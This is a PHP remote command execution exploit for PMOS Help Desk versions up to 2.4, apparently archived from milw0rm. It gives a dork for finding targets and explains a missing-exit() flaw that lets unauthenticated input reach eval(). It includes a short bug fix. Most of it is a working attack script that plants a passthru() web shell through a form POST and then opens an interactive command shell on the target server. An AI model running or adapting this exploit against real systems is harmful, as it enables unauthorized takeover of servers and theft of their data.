PMOS Help Desk <= 2.4 - Remote Command Execution Exploit

&#60;?php /* ------------------------------------------------------ PMOS Help Desk &#60;= 2.4 Remote Command Execution Exploit ------------------------------------------------------ author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: http://www.h2desk.com/pmos dork.....: &#34;Powered by PMOS Help Desk&#34; [-] PHP code injection through /form.php: 28. if( $_SESSION[login_type] == $LOGIN_INVALID ) 29. Header( &#34;Location: {$HD_URL_LOGIN}?redirect=&#34; . urlencode( $HD_CURPAGE ) ); &#60;=== 30. 31. $global_priv = get_row_count( &#34;SELECT COUNT(*) FROM {$pre}privilege WHERE ( user_id = &#39;{$_SESSION[user][id]}&#39; && dept_id = &#39;0&#39; )&#34; ); 32. if( !$global_priv ) 33. Header( &#34;Location: $HD_URL_BROWSE&#34; ); &#60;=== 34. 35. $options = array( &#34;header&#34;, &#34;footer&#34;, &#34;logo&#34;, &#34;title&#34;, (...) 36. 37. if( $_GET[cmd] == &#34;customdel&#34; ) 38. { 39. mysql_query( &#34;DELETE FROM {$pre}options WHERE ( id = &#39;{$_GET[id]}&#39; )&#34; ); 40. } 41. else if( isset( $_POST[header] ) ) 42. { 43. for( $i = 0; $i &#60; count( $options ); $i++ ) 44. { 45. $exists = get_row_count( &#34;SELECT COUNT(*) FROM {$pre}options WHERE ( name = &#39;{$options[$i]}&#39; )&#34; ); 46. if( $exists ) 47. mysql_query( &#34;UPDATE {$pre}options SET text = &#39;&#34; . $_POST[$options[$i]] . &#34;&#39; WHERE ( name = &#39;{$options[$i]}&#39; )&#34; ); 48. else 49. mysql_query( &#34;INSERT INTO {$pre}options ( name, text ) VALUES ( &#39;{$options[$i]}&#39;, &#39;&#34; . $_POST[$options[$i]] . &#34;&#39; )&#34; ); &#60;=== 50. } there isn&#39;t any exit() or die() function after header redirection at lines 29, 33...so an attacker can inject php code into the &#39;options&#39; table through the query at line 49 (or 47)...injected code will be executed by eval() function located into some files...look at index.php: 28. $options = array( &#34;header&#34;, &#34;footer&#34;, &#34;logo&#34;, (...) 29. $data = get_options( $options ); 196. eval( &#34;?&#62; {$data[header]} &#60;?&#34; ); &#60;=== [-] Bug fix in /form.php : 28. if( $_SESSION[login_type] == $LOGIN_INVALID ) { 29. Header( &#34;Location: {$HD_URL_LOGIN}?redirect=&#34; . urlencode( $HD_CURPAGE ) ); 30. exit(); 31. } 32. 33. $global_priv = get_row_count( &#34;SELECT COUNT(*) FROM {$pre}privilege WHERE ( user_id = &#39;{$_SESSION[user][id]}&#39; && dept_id = &#39;0&#39; )&#34; ); 34. if( !$global_priv ) { 35. Header( &#34;Location: $HD_URL_BROWSE&#34; ); 36. exit(); 37. } */ error_reporting(0); ini_set(&#34;default_socket_timeout&#34;, 5); set_time_limit(0); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print &#34;\n[-] No response from {$host}:80 Trying again...&#34;; $sock = fsockopen($host, 80); sleep(1); } fputs($sock, $packet); $resp = &#34;&#34;; while (!feof($sock)) $resp .= fread($sock, 1); fclose($sock); return $resp; } print &#34;\n+----------------------------------------------------------------+&#34;; print &#34;\n| PMOS Help Desk &#60;= 2.4 Remote Command Execution Exploit by EgiX |&#34;; print &#34;\n+----------------------------------------------------------------+\n&#34;; if ($argc &#60; 3) { print &#34;\nUsage......: php $argv[0] host path [options]\n&#34;; print &#34;\nhost.......: target server (ip/hostname)&#34;; print &#34;\npath.......: path to pmos directory (example: / or /pmos/)\n\n&#34;; die(); } $host = $argv[1]; $path = $argv[2]; // try to inject php shell into &#39;header&#39; record of &#39;options&#39; table... $data = &#34;header=&#34;.urlencode(&#34;&#60;?php error_reporting(0);echo __;passthru(base64_decode(\$_SERVER[HTTP_CMD]));echo __;die; ?&#62;&#34;); $packet = &#34;POST {$path}form.php HTTP/1.1\r\n&#34;; $packet .= &#34;Host: {$host}\r\n&#34;; $packet .= &#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;; $packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;; $packet .= &#34;Keep-Alive: 300\r\n&#34;; $packet .= &#34;Connection: keep-alive\r\n\r\n&#34;; $packet .= $data; http_send($host, $packet); // ...and start the shell! define(STDIN, fopen(&#34;php://stdin&#34;, &#34;r&#34;)); while(1) { print &#34;\nxpl0it-sh3ll &#62; &#34;; $cmd = trim(fgets(STDIN)); if ($cmd != &#34;exit&#34;) { $packet = &#34;GET {$path} HTTP/1.1\r\n&#34;; $packet .= &#34;Host: {$host}\r\n&#34;; $packet .= &#34;Cmd: &#34;.base64_encode($cmd).&#34;\r\n&#34;; $packet .= &#34;Keep-Alive: 300\r\n&#34;; $packet .= &#34;Connection: keep-alive\r\n\r\n&#34;; $resp = http_send($host, $packet); if (!strpos($resp, &#34;__&#34;)) die(&#34;\n[-] Exploit failed...\n&#34;); $shell = explode(&#34;__&#34;, $resp); print &#34;\n&#34;.$shell[1]; } else break; } ?&#62; # milw0rm.com [2007-12-25]